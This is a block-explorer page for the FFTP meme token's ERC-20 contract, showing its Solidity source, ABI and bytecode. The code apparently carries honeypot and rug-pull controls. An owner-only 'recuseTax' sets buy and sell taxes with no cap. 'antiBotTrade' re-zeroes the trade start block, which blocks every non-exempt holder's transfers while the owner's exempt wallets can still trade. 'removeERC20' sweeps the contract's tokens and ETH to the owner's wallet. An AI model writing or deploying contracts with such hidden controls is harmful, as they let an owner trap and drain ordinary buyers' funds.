ERC-20
MEME
Overview
Max Total Supply
42,000,000,000,000 FFTP
Holders
1,567 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,520,102,935.880088143 FFTPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-16 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; /* website : https://fftp.xyz/ telegram : https://t.me/Harrishat_ETH twitter : https://x.com/harrishat_eth */ interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address payable public mkt; address payable private team; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (){ _name = "FIGHTING FOR THE PEOPLE"; _symbol = "FFTP"; _decimals = 9; uint256 Supply = 42000000000000; _totalSupply = Supply * 10 ** _decimals; swapAtAmount = _totalSupply / 20000; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); mkt = payable(receiveAddr); team = payable(receiveAddr); _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[mkt] = true; _isExcludeFromFee[team] = true; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _isExcludeFromFee[address(swapRouter)] = true; } function setMKT( address payable newMKT, address payable newTeam ) public onlyOwner{ mkt = newMKT; team = newTeam; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount=0; uint256 private _initialBuyTax=2; uint256 private _initialSellTax=2; uint256 private _finalBuyTax=30; uint256 private _finalSellTax=30; uint256 private _reduceBuyTaxAt=29; uint256 private _reduceSellTaxAt=29; uint256 private _preventSwapBefore=40; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } uint256 swapAtAmount; function setSwapAtAmount( uint256 newValue ) public onlyOwner{ swapAtAmount = newValue; } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap){ _basicTransfer(from, to, amount); return; } bool takeFee; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))){ _numSellToken = _balances[address(this)]; } if (_numSellToken > swapAtAmount){ swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; // buyCount if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) { _buyCount++; } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { require(startTradeBlock == 0, "already start"); startTradeBlock = block.number; } function antiBotTrade() public onlyOwner{ startTradeBlock = 0; } function removeERC20(address _token) external { require(msg.sender == mkt); IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this))); mkt.transfer(address(this).balance); } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); uint256 _bal = address(this).balance; if (_bal > 0.01 ether){ mkt.transfer(_bal/10); team.transfer(address(this).balance); } } function setMarketingFreeTrade(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600d556002600e556002600f55601e601055601e601155601d601255601d601355602860145534801562000037575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152601781527f4649474854494e4720464f52205448452050454f504c450000000000000000006020820152600590620000bb90826200055b565b506040805180820190915260048152630464654560e41b6020820152600690620000e690826200055b565b506007805460ff19166009908117909155652632e314a000906200010c90600a62000732565b62000118908262000749565b60098190556200012c90614e209062000763565b601555600954335f81815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03199081166001600160a01b03848116918217845560048054841683178155305f818152600860209081526040808320805460ff1990811660019081179092559784528184208054891682179055985486168352808320805488168a179055845490951682528482208054909616909717909455600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d96168617905583526002855281832084845285528183205f199055815163c45a015560e01b8152915193949293859363c45a01559380840193919291908290030181865afa15801562000266573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028c919062000783565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002db573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000301919062000783565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200034c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000372919062000783565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003f3573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000419919062000783565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af115801562000469573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200048f9190620007ab565b50506001600160a01b03165f908152600860205260409020805460ff1916600117905550620007cc9050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004e457607f821691505b6020821081036200050357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000556575f81815260208120601f850160051c81016020861015620005315750805b601f850160051c820191505b8181101562000552578281556001016200053d565b5050505b505050565b81516001600160401b03811115620005775762000577620004bb565b6200058f81620005888454620004cf565b8462000509565b602080601f831160018114620005c5575f8415620005ad5750858301515b5f19600386901b1c1916600185901b17855562000552565b5f85815260208120601f198616915b82811015620005f557888601518255948401946001909101908401620005d4565b50858210156200061357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200067757815f19048211156200065b576200065b62000623565b808516156200066957918102915b93841c93908002906200063c565b509250929050565b5f826200068f575060016200072c565b816200069d57505f6200072c565b8160018114620006b65760028114620006c157620006e1565b60019150506200072c565b60ff841115620006d557620006d562000623565b50506001821b6200072c565b5060208310610133831016604e8410600b841016171562000706575081810a6200072c565b62000712838362000637565b805f190482111562000728576200072862000623565b0290505b92915050565b5f6200074260ff8416836200067f565b9392505050565b80820281158282048414176200072c576200072c62000623565b5f826200077e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000794575f80fd5b81516001600160a01b038116811462000742575f80fd5b5f60208284031215620007bc575f80fd5b8151801515811462000742575f80fd5b61150880620007da5f395ff3fe60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa919061116d565b60405180910390f35b3480156101be575f80fd5b506101d26101cd3660046111cf565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d26102303660046111f9565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d2610285366004611237565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b3366004611237565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e1366004611259565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611290565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a3366004611237565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f661074c565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d6107bd565b34801561042b575f80fd5b506101f661043a3660046112b4565b6107cc565b34801561044a575f80fd5b506101f6610459366004611237565b61081f565b348015610469575f80fd5b506101d26104783660046111cf565b610951565b348015610488575f80fd5b506101f66104973660046112eb565b61095d565b3480156104a7575f80fd5b506102086104b63660046112eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa366004611237565b6109b4565b60606005805461050e90611317565b80601f016020809104026020016040519081016040528092919081815260200182805461053a90611317565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610a77565b5060015b92915050565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce9061134f565b60405180910390fd5b5f601655565b5f6105e9848484610ad7565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f90815260026020908152604080832033845290915290205461064190839061138e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce9061134f565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce9061134f565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce9061134f565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105ce565b43601655565b5f546001600160a01b031633146107755760405162461bcd60e51b81526004016105ce9061134f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e90611317565b5f546001600160a01b031633146107f55760405162461bcd60e51b81526004016105ce9061134f565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610835575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa91906113a1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af11580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091691906113b8565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561094d573d5f803e3d5ffd5b5050565b5f61059b338484610ad7565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016105ce9061134f565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b031633146109dd5760405162461bcd60e51b81526004016105ce9061134f565b6001600160a01b038116610a1e5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105ce565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610b325760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105ce565b600c5460ff1615610b4f57610b48848484610cf7565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610b795750600c5460ff16155b8015610b9d57506001600160a01b0385165f9081526008602052604090205460ff16155b8015610bc157506001600160a01b0384165f9081526008602052604090205460ff16155b8015610bd05750601454600d54115b15610c1357305f908152600160205260409020548390811115610bfe5750305f908152600160205260409020545b601554811115610c1157610c1181610daa565b505b6001600160a01b0385165f9081526008602052604090205460ff16158015610c5357506001600160a01b0384165f9081526008602052604090205460ff16155b8015610c625750600c5460ff16155b15610ceb575f60165411610c74575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff168015610cad5750600a546001600160a01b03858116911614155b8015610cd157506001600160a01b0384165f9081526008602052604090205460ff16155b15610ceb57600d8054905f610ce5836113d3565b91905055505b610b4885858584610f82565b6001600160a01b0383165f90815260016020526040812080548391908390610d2090849061138e565b90915550506001600160a01b0383165f9081526001602052604081208054849290610d4c9084906113eb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9891815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dea57610dea6113fe565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e659190611412565b81600181518110610e7857610e786113fe565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610ebd9085905f9086903090429060040161142d565b5f604051808303815f87803b158015610ed4575f80fd5b505af1158015610ee6573d5f803e3d5ffd5b504792505050662386f26fc10000811115610f73576003546001600160a01b03166108fc610f15600a8461149c565b6040518115909202915f818181858888f19350505050158015610f3a573d5f803e3d5ffd5b506004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f71573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f90815260016020526040902054610fa590839061138e565b6001600160a01b0385165f9081526001602052604081209190915581156110e0576001600160a01b0384165f908152600b602052604081205460ff161561100457601354600d5411610ff957600f54610ffd565b6011545b905061103e565b6001600160a01b0386165f908152600b602052604090205460ff161561103e57601254600d541161103757600e5461103b565b6010545b90505b5f606461104b83876114bb565b611055919061149c565b905080156110dd5761106781846113eb565b305f908152600160205260409020549093506110849082906113eb565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d49085815260200190565b60405180910390a35b50505b6110ea818461138e565b6001600160a01b0385165f9081526001602052604090205461110c91906113eb565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611155848761138e565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b818110156111985785810183015185820160400152820161117c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111cc575f80fd5b50565b5f80604083850312156111e0575f80fd5b82356111eb816111b8565b946020939093013593505050565b5f805f6060848603121561120b575f80fd5b8335611216816111b8565b92506020840135611226816111b8565b929592945050506040919091013590565b5f60208284031215611247575f80fd5b8135611252816111b8565b9392505050565b5f805f805f60a0868803121561126d575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f602082840312156112a0575f80fd5b5035919050565b80151581146111cc575f80fd5b5f80604083850312156112c5575f80fd5b82356112d0816111b8565b915060208301356112e0816112a7565b809150509250929050565b5f80604083850312156112fc575f80fd5b8235611307816111b8565b915060208301356112e0816111b8565b600181811c9082168061132b57607f821691505b60208210810361134957634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561059f5761059f61137a565b5f602082840312156113b1575f80fd5b5051919050565b5f602082840312156113c8575f80fd5b8151611252816112a7565b5f600182016113e4576113e461137a565b5060010190565b8082018082111561059f5761059f61137a565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611422575f80fd5b8151611252816111b8565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561147b5784516001600160a01b031683529383019391830191600101611456565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114b657634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761059f5761059f61137a56fea26469706673582212203f498d9ec19bf368915f5df67485d6187a627fdc9fda0c1a72001743b368100264736f6c63430008140033
Deployed Bytecode
0x60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa919061116d565b60405180910390f35b3480156101be575f80fd5b506101d26101cd3660046111cf565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d26102303660046111f9565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d2610285366004611237565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b3366004611237565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e1366004611259565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611290565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a3366004611237565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f661074c565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d6107bd565b34801561042b575f80fd5b506101f661043a3660046112b4565b6107cc565b34801561044a575f80fd5b506101f6610459366004611237565b61081f565b348015610469575f80fd5b506101d26104783660046111cf565b610951565b348015610488575f80fd5b506101f66104973660046112eb565b61095d565b3480156104a7575f80fd5b506102086104b63660046112eb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa366004611237565b6109b4565b60606005805461050e90611317565b80601f016020809104026020016040519081016040528092919081815260200182805461053a90611317565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610a77565b5060015b92915050565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce9061134f565b60405180910390fd5b5f601655565b5f6105e9848484610ad7565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f90815260026020908152604080832033845290915290205461064190839061138e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce9061134f565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce9061134f565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce9061134f565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105ce565b43601655565b5f546001600160a01b031633146107755760405162461bcd60e51b81526004016105ce9061134f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e90611317565b5f546001600160a01b031633146107f55760